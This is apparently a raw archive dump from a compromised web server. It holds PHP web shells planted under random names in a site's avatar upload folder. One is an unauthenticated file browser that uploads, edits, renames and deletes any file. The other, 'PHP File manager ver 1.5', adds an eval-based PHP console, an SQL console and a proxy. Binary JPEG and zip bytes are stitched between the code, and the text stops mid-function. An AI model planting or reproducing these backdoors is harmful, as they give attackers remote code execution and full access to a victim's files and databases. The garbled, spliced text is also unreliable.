                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>67c1be3c7f0cd.jpg.tar000064400000005000000000000000010030 0ustar00var/www/html/back/storage/app/public/avatars/10/67c1be3c7f0cd.jpg000075500000001567000000000000020127 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���b3vd5z.zip000064400000026165000000000000006360 0ustar00PK!�2<�+�+	bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�2<�+�+	bci4w.phpnu�[���PKI,orb3c.php000064400000234756000000000000006247 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
